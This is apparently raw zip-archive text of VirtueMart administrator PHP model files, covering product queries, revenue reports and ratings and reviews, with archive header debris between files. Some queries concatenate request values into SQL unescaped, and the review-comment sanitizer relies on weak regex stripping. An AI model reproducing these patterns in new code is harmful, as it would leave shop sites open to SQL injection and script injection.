('use_as_catalog', 0) && VmConfig::get ('stockhandle', 'none') == 'disableit') { $q .= ' AND p.`product_in_stock`>"0" '; } if ($app->isSite ()) { $q .= ' AND p.`published`="1"'; } $q .= ' GROUP BY `virtuemart_product_id` ORDER BY p.pordering ASC'; $this->_db->setQuery ($q); $this->_uncategorizedChildren[$this->_id] = $this->_db->loadAssocList (); $err = $this->_db->getErrorMsg (); if (!empty($err)) { vmError ('getUncategorizedChildren sql error ' . $err, 'getUncategorizedChildren sql error'); vmdebug ('getUncategorizedChildren ' . $err); return FALSE; } // vmdebug('getUncategorizedChildren '.$this->_db->getQuery(),$this->_uncategorizedChildren); } return $this->_uncategorizedChildren[$this->_id]; } /** * Check if the product has any children * * @author RolandD * @author Max Milbers * @param int $virtuemart_product_id Product ID * @return bool True if there are child products, false if there are no child products */ public function checkChildProducts ($virtuemart_product_id) { $q = 'SELECT IF(COUNT(virtuemart_product_id) > 0, "0", "1") FROM `#__virtuemart_products` WHERE `product_parent_id` = "' . (int)$virtuemart_product_id . '"'; $this->_db->setQuery ($q); return $this->_db->loadResult (); } function getProductChilds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products_' . VMLANG . '` JOIN `#__virtuemart_products` as C using (`virtuemart_product_id`) WHERE `product_parent_id` =' . (int)$product_id); return $db->loadObjectList (); } function getProductChildIds ($product_id) { if (empty($product_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT virtuemart_product_id FROM `#__virtuemart_products` WHERE `product_parent_id` =' . (int)$product_id.' ORDER BY pordering ASC'); return $db->loadResultArray (); } function getProductParent ($product_parent_id) { if (empty($product_parent_id)) { return array(); } $db = JFactory::getDBO (); $db->setQuery (' SELECT * FROM `#__virtuemart_products_' . VMLANG . '` WHERE `virtuemart_product_id` =' . (int)$product_parent_id); return $db->loadObject (); } function sentProductEmailToShoppers () { jimport ('joomla.utilities.arrayhelper'); if (!class_exists ('ShopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $product_id = JRequest::getVar ('virtuemart_product_id', ''); vmdebug ('sentProductEmailToShoppers product id', $product_id); $vars = array(); $vars['subject'] = JRequest::getVar ('subject'); $vars['mailbody'] = JRequest::getVar ('mailbody'); $order_states = JRequest::getVar ('statut', array(), '', 'ARRAY'); $productShoppers = $this->getProductShoppersByStatus ($product_id, $order_states); vmdebug ('productShoppers ', $productShoppers); $productModel = VmModel::getModel ('product'); $product = $productModel->getProduct ($product_id); $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($product->virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorEmail'] = $vendorModel->getVendorEmail ($product->virtuemart_vendor_id); $vars['vendorAddress'] = shopFunctions::renderVendorAddress ($product->virtuemart_vendor_id); $orderModel = VmModel::getModel ('orders'); foreach ($productShoppers as $productShopper) { $vars['user'] = $productShopper['name']; if (shopFunctionsF::renderMail ('productdetails', $productShopper['email'], $vars, 'productdetails', TRUE)) { $string = 'COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY'; } else { $string = 'COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY'; } /* Update the order history for each order */ foreach ($productShopper['order_info'] as $order_info) { $orderModel->_updateOrderHist ($order_info['order_id'], $order_info['order_status'], 1, $vars['subject'] . ' ' . $vars['mailbody']); } // todo: when there is an error while sending emails //vmInfo (JText::sprintf ($string, $productShopper['email'])); } } public function getProductShoppersByStatus ($product_id, $states) { if (empty($states)) { return FALSE; } $orderstatusModel = VmModel::getModel ('orderstatus'); $orderStates = $orderstatusModel->getOrderStatusNames (); foreach ($states as &$status) { if (!array_key_exists ($status, $orderStates)) { unset($status); } } if (empty($states)) { return FALSE; } $q = 'SELECT ou.* , oi.product_quantity , o.order_number, o.order_status, oi.`order_status` AS order_item_status , o.virtuemart_order_id FROM `#__virtuemart_order_userinfos` as ou JOIN `#__virtuemart_order_items` AS oi USING (`virtuemart_order_id`) JOIN `#__virtuemart_orders` AS o ON o.`virtuemart_order_id` = oi.`virtuemart_order_id` WHERE ou.`address_type`="BT" AND oi.`virtuemart_product_id`=' . (int)$product_id; if (count ($orderStates) !== count ($states)) { $q .= ' AND oi.`order_status` IN ( "' . implode ('","', $states) . '") '; } $q .= ' ORDER BY ou.`email` ASC'; $this->_db->setQuery ($q); $productShoppers = $this->_db->loadAssocList (); $shoppers = array(); foreach ($productShoppers as $productShopper) { $key = $productShopper['email']; if (!array_key_exists ($key, $shoppers)) { $shoppers[$key]['phone'] = !empty($productShopper['phone_1']) ? $productShopper['phone_1'] : (!empty($productShopper['phone_2']) ? $productShopper['phone_2'] : '-'); $shoppers[$key]['name'] = $productShopper['first_name'] . ' ' . $productShopper['last_name']; $shoppers[$key]['email'] = $productShopper['email']; $shoppers[$key]['mail_to'] = 'mailto:' . $productShopper['email']; $shoppers[$key]['nb_orders'] = 0; } $i = $shoppers[$key]['nb_orders']; $shoppers[$key]['order_info'][$i]['order_number'] = $productShopper['order_number']; $shoppers[$key]['order_info'][$i]['order_id'] = $productShopper['virtuemart_order_id']; $shoppers[$key]['order_info'][$i]['order_status'] = $productShopper['order_status']; $shoppers[$key]['order_info'][$i]['order_item_status_name'] = $orderStates[$productShopper['order_item_status']]['order_status_name']; $shoppers[$key]['order_info'][$i]['quantity'] = $productShopper['product_quantity']; $shoppers[$key]['nb_orders']++; } return $shoppers; } } // No closing tagPKsl>\A|9|9Ocom_virtuemart_update/administrator/components/com_virtuemart/models/report.phpnuW+AsetMainTable ('orders'); $this->setDatePresets (); $app = JFactory::getApplication (); $this->period = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); //$post = JRequest::get ('post'); //vmdebug ('$post ', $post); if (empty($this->period) or $this->period != 'none') { $this->setPeriodByPreset (); } else { $this->setPeriod (); } $this->removevalidOrderingFieldName ('virtuemart_order_id'); $this->addvalidOrderingFieldName (array('product_quantity', 'o.virtuemart_order_id')); $this->_selectedOrdering = 'created_on'; } function correctTimeOffset(&$inputDate){ $config = JFactory::getConfig(); $this->siteOffset = $config->getValue('config.offset'); $date = new JDate($inputDate); $date->setTimezone($this->siteTimezone); $inputDate = $date->format('Y-m-d H:i:s',true); } /* * Set Start & end Date */ function setPeriod () { $this->from_period = JRequest::getVar ('from_period', $this->date_presets['last30']['from']); $this->until_period = JRequest::getVar ('until_period', $this->date_presets['last30']['until']); $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } /* * Set Start & end Date if Var peroid */ function setPeriodByPreset () { $this->from_period = $this->date_presets[$this->period]['from']; $this->until_period = $this->date_presets[$this->period]['until']; $config = JFactory::getConfig(); $siteOffset = $config->getValue('config.offset'); $this->siteTimezone = new DateTimeZone($siteOffset); $this->correctTimeOffset($this->from_period); $this->correctTimeOffset($this->until_period); } function getItemsByRevenue ($revenue) { $q = 'select SUM(`product_quantity`) as product_quantity from `#__virtuemart_order_items` as i LEFT JOIN #__virtuemart_orders as o ON o.virtuemart_order_id=i.virtuemart_order_id ' . $this->whereItem . ' CAST(' . $this->intervals . ' AS DATE) = CAST("' . $revenue['intervals'] . '" AS DATE) '; $this->_db->setQuery ($q); //echo $this->_db->_sql; return $this->_db->loadResult (); } function getRevenueSortListOrderQuery ($sold = FALSE, $items = FALSE) { $selectFields = array(); $mainTable = ''; $joinTables = array(); $joinedTables = ''; $where = array(); // group always by intervals (day,week, ... or ID) and set grouping and defaut ordering $intervals = JRequest::getWord ('intervals', 'day'); switch ($intervals) { case 'day': $this->intervals = 'DATE( o.created_on )'; break; case 'week': $this->intervals = 'WEEK( o.created_on )'; break; case 'month': $this->intervals = 'MONTH( o.created_on )'; break; case 'year': $this->intervals = 'YEAR( o.created_on )'; break; default: // invidual grouping $this->intervals = 'o.created_on'; break; } // if(!empty($this->intervals)){ // $orderBy = $this->_getOrdering('o.`created_on`'); // } $selectFields['intervals'] = $this->intervals . ' AS intervals, CAST( o.`created_on` AS DATE ) AS created_on'; vmdebug('getRevenueSortListOrderQuery '.$intervals); if($intervals=='product_s'){ $selectFields[] = '`order_item_name`'; $selectFields[] = '`virtuemart_product_id`'; $groupBy = 'GROUP BY `virtuemart_product_id` '; } else { $groupBy = 'GROUP BY intervals '; } //$selectFields[] = 'COUNT(virtuemart_order_id) as number_of_orders'; //with tax => brutto //$selectFields[] = 'SUM(product_subtotal_with_tax) as order_total'; //without tax => netto //$selectFields[] = 'SUM(product_item_price) as order_subtotal'; $selectFields[] = 'SUM(product_discountedPriceWithoutTax * product_quantity) as order_subtotal_netto'; $selectFields[] = 'SUM(product_subtotal_with_tax) as order_subtotal_brutto'; $this->dates = ' DATE( o.created_on ) BETWEEN "' . $this->from_period . '" AND "' . $this->until_period . '" '; $statusList = array(); // Filter by statut if ($orderstates = JRequest::getVar ('order_status_code', array('C,S'))) { $query = 'SELECT `order_status_code` FROM `#__virtuemart_orderstates` WHERE published=1 '; $this->_db->setQuery ($query); $list = $this->_db->loadResultArray (); foreach ($orderstates as $val) { if (in_array ($val, $list)) { $statusList[] = '`i`.`order_status` = "' . $val . '"'; } } if ($statusList) { $where[] = '(' . implode (' OR ', $statusList) . ')'; } } //getRevenue // select wich table to order sum ordered $filterorders = JRequest::getvar ('filter_order', 'intervals'); $orderdir = (JRequest::getWord ('filter_order_Dir', NULL) == 'desc') ? 'desc' : ''; switch ($filterorders) { case 'o.virtuemart_order_id': $orderBy = ' ORDER BY count_order_id ' . $orderdir; $groupBy = 'GROUP BY intervals '; break; case 'product_quantity' : // GROUP BY product_quantity, intervals // ORDER BY `product_quantity` ASC // TODO grouping and ordering $orderBy = ' ORDER BY product_quantity ' . $orderdir; $groupBy = 'GROUP BY intervals '; //$selectFields['intervals'] = $this->intervals.' AS intervals, i.`created_on` '; break; case 'o.order_subtotal' : $orderBy = ' ORDER BY order_subtotal'; break; //getOrderItemsSumGrouped($this->intervals , $filterorders); break; default: // invidual grouping $orderBy = $this->_getOrdering (); vmdebug ('default case', $orderBy); //$this->intervals= '`o`.`created_on`'; // $orderBy = ' ORDER BY '.$filterorders.' '.$orderdir; break; } $selectFields[] = 'COUNT(DISTINCT o.virtuemart_order_id) as count_order_id'; $selectFields[] = 'SUM(product_quantity) as product_quantity'; $mainTable = '`#__virtuemart_order_items` as i'; $joinTables['orders'] = ' LEFT JOIN `#__virtuemart_orders` as o ON o.virtuemart_order_id=i.virtuemart_order_id '; if (count ($selectFields) > 0) { $select = implode (', ', $selectFields) . ' FROM ' . $mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if (count ($joinTables) > 0) { foreach ($joinTables as $table) { $joinedTables .= $table; } } } else { vmError ('No select fields given in getRevenueSortListOrderQuery', 'No select fields given'); return FALSE; } $virtuemart_product_id = JRequest::getInt ('virtuemart_product_id', FALSE); if ($virtuemart_product_id) { $where[] = 'i.virtuemart_product_id = "' . $virtuemart_product_id . '" '; } if (VmConfig::get ('multix', 'none') != 'none') { $vendorId = JRequest::getInt ('virtuemart_vendor_id', 0); if ($vendorId != 0) { $where[] = 'i.virtuemart_vendor_id = "' . $vendorId . '" '; } } if (count ($where) > 0) { $this->whereItem = ' WHERE ' . implode (' AND ', $where) . ' AND '; } else { $this->whereItem = ' WHERE '; } // $this->whereItem; /* WHERE differences with orders and items from orders are only date periods and ordering */ $whereString = $this->whereItem . $this->dates; return $this->exeSortSearchListQuery (1, $select, $joinedTables, $whereString, $groupBy, $orderBy); } /** * Retrieve a list of report items from the database. * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getRevenue ($noLimit = FALSE) { return $this->getRevenueSortListOrderQuery (); } /** * Retrieve a list of report items from the database. * DONT know why this ???? Patrick Kohl * * @author Wicksj * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of order objects */ function getOrderItems ($noLimit = FALSE) { // $db = JFactory::getDBO(); $query = "SELECT `product_name`, `product_sku`, "; $query .= "i.created_on as order_date, "; $query .= "SUM(product_quantity) as product_quantity "; $query .= "FROM #__virtuemart_order_items i, #__virtuemart_orders o, #__virtuemart_products p "; $query .= "WHERE i.created_on BETWEEN '{$this->start_date} 00:00:00' AND '{$this->until_period} 23:59:59' "; $query .= "AND o.virtuemart_order_id=i.virtuemart_order_id "; $query .= "AND i.virtuemart_product_id=p.virtuemart_product_id "; $query .= "GROUP BY product_sku, product_name, order_date "; $query .= " ORDER BY order_date, product_name ASC"; if ($noLimit) { $this->_data = $this->_getList ($query); } else { $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); } if (!$this->_total) { $this->_total = $this->_getListCount ($query); } return $this->_data; } public function setDatePresets () { if ($this->date_presets) { return $this->date_presets; } // set date presets $curDate = JFactory::getDate (); $curDate = $curDate->toUnix (); $curDate = mktime (0, 0, 0, date ('m', $curDate), date ('d', $curDate), date ('Y', $curDate)); $monday = (date ('w', $curDate) == 1) ? $curDate : strtotime ('last Monday', $curDate); $this->date_presets['last90'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST90'), 'from' => date ('Y-m-d', strtotime ('-89 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last60'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST60'), 'from' => date ('Y-m-d', strtotime ('-59 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['last30'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_LAST30'), 'from' => date ('Y-m-d', strtotime ('-29 day', $curDate)), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['today'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_TODAY'), 'from' => date ('Y-m-d', $curDate), 'until' => date ('Y-m-d', $curDate)); $this->date_presets['this-week'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK'), 'from' => date ('Y-m-d', $monday), 'until' => date ('Y-m-d', strtotime ('+6 day', $monday))); $this->date_presets['this-month'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH'), 'from' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate), 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, date ('n', $curDate) + 1, 0, date ('Y', $curDate)))); $this->date_presets['this-year'] = array( 'name' => JText::_ ('COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR'), 'from' => date ('Y-m-d', mktime (0, 0, 0, 1, 1, date ('Y', $curDate))), 'until' => date ('Y-m-d', mktime (0, 0, 0, 12, 31, date ('Y', $curDate)))); } public function renderDateSelectList () { // simpledate select $select = ''; $options = array(JHTML::_ ('select.option', 'none', '- ' . JText::_ ('COM_VIRTUEMART_REPORT_SET_PERIOD') . ' -', 'text', 'value')); $app = JFactory::getApplication (); $select = $app->getUserStateFromRequest ('com_virtuemart.revenue.period', 'period', 'last30', 'string'); foreach ($this->date_presets as $name => $value) { $options[] = JHTML::_ ('select.option', $name, JText::_ ($value['name']), 'text', 'value'); } $listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" onchange="this.form.submit();" ', 'text', 'value', $select); //$listHTML = JHTML::_ ('select.genericlist', $options, 'period', 'size="7" class="inputbox" ', 'text', 'value', $select); return $listHTML; } public function renderIntervalsList () { $intervals = JRequest::getWord ('intervals', 'day'); $options = array(); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_PRODUCT_S'), 'product_s'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_ORDERS'), 'orders'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY'), 'day'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY'), 'week'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY'), 'month'); $options[] = JHTML::_ ('select.option', JText::_ ('COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY'), 'year'); //$listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" onchange="this.form.submit();" size="5"', 'text', 'value', $intervals); $listHTML = JHTML::_ ('select.genericlist', $options, 'intervals', 'class="inputbox" size="6"', 'text', 'value', $intervals); return $listHTML; } public function updateOrderItems () { $q = 'UPDATE #__virtuemart_order_items SET `product_discountedPriceWithoutTax`=( (IF(product_final_price is NULL, 0.00,product_final_price) - IF(product_tax is NULL, 0.00,product_tax) )) WHERE `product_discountedPriceWithoutTax` IS NULL'; $this->_db = JFactory::getDBO(); $this->_db->setQuery($q); $this->_db->query(); } } PKsl>\U ? ?Pcom_virtuemart_update/administrator/components/com_virtuemart/models/ratings.phpnuW+AsetMainTable('ratings'); $layout = JRequest::getString('layout','default'); $task = JRequest::getCmd('task','default'); if($layout == 'list_reviews' or $task == 'listreviews'){ vmdebug('in review list'); $myarray = array('pr.created_on','virtuemart_rating_review_id','vote'); $this->removevalidOrderingFieldName('created_on'); $this->removevalidOrderingFieldName('product_name'); $this->removevalidOrderingFieldName('virtuemart_rating_id'); $this->removevalidOrderingFieldName('rating'); $this->_selectedOrdering = 'pr.created_on'; } else { $myarray = array('created_on','product_name','virtuemart_rating_id'); $this->removevalidOrderingFieldName('pr.created_on'); $this->removevalidOrderingFieldName('virtuemart_rating_review_id'); $this->removevalidOrderingFieldName('vote'); $this->_selectedOrdering = 'created_on'; } $this->addvalidOrderingFieldName($myarray); } /** * Select the products to list on the product list page */ public function getRatings() { $tables = ' FROM `#__virtuemart_ratings` AS `r` JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` USING (`virtuemart_product_id`) '; $whereString = ''; $this->_data = $this->exeSortSearchListQuery(0,' r.*,p.`product_name` ',$tables,$whereString,'',$this->_getOrdering()); // $this->_data = $this->_getList($q, $this->getState('limitstart'), $this->getState('limit')); // set total for pagination // $this->_total = $this->_getListCount($q) ; // if(empty($this->_data)) $this->_data = array(); // if(!isset($this->_total)) $this->_total = 0; return $this->_data; } /** * Load a single rating * @author RolandD */ public function getRating($cids) { if (empty($cids)) { return; } /* First copy the product in the product table */ $ratings_data = $this->getTable('ratings'); /* Load the rating */ $joinValue = array('product_name' =>'#__virtuemart_products'); if ($cids) { $ratings_data->load ($cids[0], $joinValue, 'virtuemart_product_id'); } /* Add some variables for a new rating */ if (JRequest::getWord('task') == 'add') { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $ratings_data->virtuemart_product_id = $virtuemart_product_id; /* User ID */ $user = JFactory::getUser(); $ratings_data->virtuemart_user_id = $user->id; } return $ratings_data; } /** * @author Max Milbers * @param $virtuemart_product_id * @return null */ function getReviews($virtuemart_product_id){ if (empty($virtuemart_product_id)) { return NULL; } $select = '`u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`, `u`.`name` AS customer, `pr`.`published`'; $tables = ' FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__users` AS `u` ON `pr`.`created_by` = `u`.`id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` AS `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`u`.`id`'; $whereString = ' WHERE `p`.`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $result = $this->exeSortSearchListQuery(0,$select,$tables,$whereString,'',$this->_getOrdering()); return $result; } /** * @author Max Milbers * @param $cids * @return mixed@ */ function getReview($cids){ $q = 'SELECT `u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`,CONCAT_WS(" ",`u`.`title`,u.`last_name`,`u`.`first_name`) as customer FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__virtuemart_userinfos` AS `u` ON `pr`.`created_by` = `u`.`virtuemart_user_id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` as `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`pr`.`created_by` WHERE virtuemart_rating_review_id="'.(int)$cids[0].'" ' ; $this->_db->setQuery($q); vmdebug('getReview',$this->_db->getQuery()); return $this->_db->loadObject(); } /** * gets a rating by a product id * * @author Max Milbers * @param int $product_id */ function getRatingByProduct($product_id){ $q = 'SELECT * FROM `#__virtuemart_ratings` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a review by a product id * * @author Max Milbers * @param int $product_id */ function getReviewByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a reviews by a product id * * @author Max Milbers * @param int $product_id */ function getReviewsByProduct($product_id){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObjectList(); } /** * gets a vote by a product id and userId * * @author Max Milbers * @param int $product_id */ function getVoteByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_votes` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * Save a rating * @author Max Milbers */ public function saveRating($data=0) { //Check user_rating $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $app = JFactory::getApplication(); if( $app->isSite() ){ $user = JFactory::getUser(); $userId = $user->id; $allowReview = $this->allowReview($virtuemart_product_id); $allowRating = $this->allowRating($virtuemart_product_id); } else { $userId = $data['created_by']; $allowReview = true; $allowRating = true; } if(!empty($virtuemart_product_id)){ //if ( !empty($data['virtuemart_product_id']) && !empty($userId)){ if(empty($data)) $data = vRequest::getPost(); if($allowRating){ //normalize the rating if ($data['vote'] < 0) { $data['vote'] = 0; } if ($data['vote'] > ($maxrating + 1)) { $data['vote'] = $maxrating; } $data['lastip'] = $_SERVER['REMOTE_ADDR']; $data['vote'] = (int) $data['vote']; $rating = $this->getRatingByProduct($data['virtuemart_product_id']); vmdebug('$rating',$rating); $vote = $this->getVoteByProduct($data['virtuemart_product_id'],$userId); vmdebug('$vote',$vote); $data['virtuemart_rating_vote_id'] = empty($vote->virtuemart_rating_vote_id)? 0: $vote->virtuemart_rating_vote_id; if(isset($data['vote'])){ $votesTable = $this->getTable('rating_votes'); $votesTable->bindChecknStore($data,TRUE); $errors = $votesTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store votes '.$error); } } if(!empty($rating->rates) && empty($vote) ){ $data['rates'] = $rating->rates + $data['vote']; $data['ratingcount'] = $rating->ratingcount+1; } else { if (!empty($rating->rates) && !empty($vote->vote)) { $data['rates'] = $rating->rates - $vote->vote + $data['vote']; $data['ratingcount'] = $rating->ratingcount; } else { $data['rates'] = $data['vote']; $data['ratingcount'] = 1; } } if(empty($data['rates']) || empty($data['ratingcount']) ){ $data['rating'] = 0; } else { $data['rating'] = $data['rates']/$data['ratingcount']; } $data['virtuemart_rating_id'] = empty($rating->virtuemart_rating_id)? 0: $rating->virtuemart_rating_id; vmdebug('saveRating $data',$data); $rating = $this->getTable('ratings'); $rating->bindChecknStore($data,TRUE); $errors = $rating->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store rating '.$error); } } if($allowReview and !empty($data['comment'])){ //if(!empty($data['comment'])){ $data['comment'] = substr($data['comment'], 0, VmConfig::get('vm_reviews_maximum_comment_length', 2000)) ; // no HTML TAGS but permit all alphabet $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$data['comment']);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $data['comment'] = (string)preg_replace('#^\'#si','',$value);//replace ' at start $data['comment'] = nl2br($data['comment']); // keep returns //set to defaut value not used (prevent hack) $data['review_ok'] = 0; $data['review_rating'] = 0; $data['review_editable'] = 0; // Check if ratings are auto-published (set to 0 prevent injected by user) // $app = JFactory::getApplication(); if( $app->isSite() ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(!Permissions::getInstance()->check('admin')){ if (VmConfig::get ('reviews_autopublish', 1)) { $data['published'] = 1; } } } $review = $this->getReviewByProduct($data['virtuemart_product_id'],$userId); if(!empty($review->review_rates)){ $data['review_rates'] = $review->review_rates + $data['vote']; } else { $data['review_rates'] = $data['vote']; } if(!empty($review->review_ratingcount)){ $data['review_ratingcount'] = $review->review_ratingcount+1; } else { $data['review_ratingcount'] = 1; } $data['review_rating'] = $data['review_rates']/$data['review_ratingcount']; $data['virtuemart_rating_review_id'] = empty($review->virtuemart_rating_review_id)? 0: $review->virtuemart_rating_review_id; $reviewTable = $this->getTable('rating_reviews'); $reviewTable->bindChecknStore($data,TRUE); $errors = $reviewTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store review '.$error); } } return $data['virtuemart_rating_review_id']; } else{ vmError('Cant save rating/review/vote without vote/product_id'); return FALSE; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove($ids) { $rating = $this->getTable($this->_maintablename); $review = $this->getTable('rating_reviews'); $votes = $this->getTable('rating_votes'); $ok = TRUE; foreach($ids as $id) { $rating->load($id); $prod_id = $rating->virtuemart_product_id; if (!$rating->delete($id)) { vmError(get_class( $this ).'::Error deleting ratings '.$rating->getError()); $ok = FALSE; } if (!$review->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting review '.$review->getError()); $ok = FALSE; } if (!$votes->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting votes '.$votes->getError()); $ok = FALSE; } } return $ok; } /** * Returns the number of reviews assigned to a product * * @author RolandD * @param int $pid Product ID * @return int */ public function countReviewsForProduct($pid) { $db = JFactory::getDBO(); $q = "SELECT COUNT(*) AS total FROM #__virtuemart_rating_reviews WHERE virtuemart_product_id=".(int)$pid; $db->setQuery($q); $reviews = $db->loadResult(); return $reviews; } public function showReview($product_id){ return $this->show($product_id, VmConfig::get('showReviewFor','all')); } public function showRating($product_id = 0){ return $this->show($product_id, VmConfig::get('showRatingFor','all')); } public function allowReview($product_id){ return $this->show($product_id, VmConfig::get('reviewMode','bought')); } public function allowRating($product_id){ return $this->show($product_id, VmConfig::get('ratingMode','bought')); } /** * Decides if the rating/review should be shown on the FE * @author Max Milbers */ private function show($product_id, $show){ //dont show if($show == 'none'){ return false; } //show all else { if ($show == 'all') { return true; } //show only registered else { if ($show == 'registered') { $user = JFactory::getUser (); return !empty($user->id); } //show only registered && who bought the product else { if ($show == 'bought') { if (empty($product_id)) { return false; } if (isset($this->_productBought[$product_id])) { return $this->_productBought[$product_id]; } $user = JFactory::getUser (); $rr_os=VmConfig::get('rr_os',array('C')); if(!is_array($rr_os)) $rr_os = array($rr_os); $db = JFactory::getDBO (); $q = 'SELECT COUNT(*) as total FROM `#__virtuemart_orders` AS o LEFT JOIN `#__virtuemart_order_items` AS oi '; $q .= 'ON `o`.`virtuemart_order_id` = `oi`.`virtuemart_order_id` '; $q .= 'WHERE o.virtuemart_user_id = "' . $user->id . '" AND oi.virtuemart_product_id = "' . $product_id . '" '; $q .= 'AND o.order_status IN (\'' . implode("','",$rr_os). '\') '; $db->setQuery ($q); $count = $db->loadResult (); if ($count) { $this->_productBought[$product_id] = true; return true; } else { $this->_productBought[$product_id] = false; return false; } } } } } } } // pure php no closing tag PKsl>\]"!((Vcom_virtuemart_update/administrator/components/com_virtuemart/models/fields/layout.phpnuW+Afieldname,0,-6);; $vmLayoutList =VirtueMartModelConfig::getLayoutList($view); $html = JHTML::_('Select.genericlist',$vmLayoutList, $this->name, 'size=1 width=200', 'value', 'text', array($this->value)); return $html; } }PKsl>\hӪ[com_virtuemart_update/administrator/components/com_virtuemart/models/fields/orderstatus.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel ('Orderstatus'); $orderStatus = $model->getOrderStatusList (); foreach ($orderStatus as $orderState) { $orderState->order_status_name = JText::_ ($orderState->order_status_name); } return JHTML::_ ('select.genericlist', $orderStatus, $this->name, 'class="inputbox" multiple="true" size="1"', 'order_status_code', 'order_status_name', $this->value, $this->id); } }PKsl>\}܆Xcom_virtuemart_update/administrator/components/com_virtuemart/models/fields/category.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); 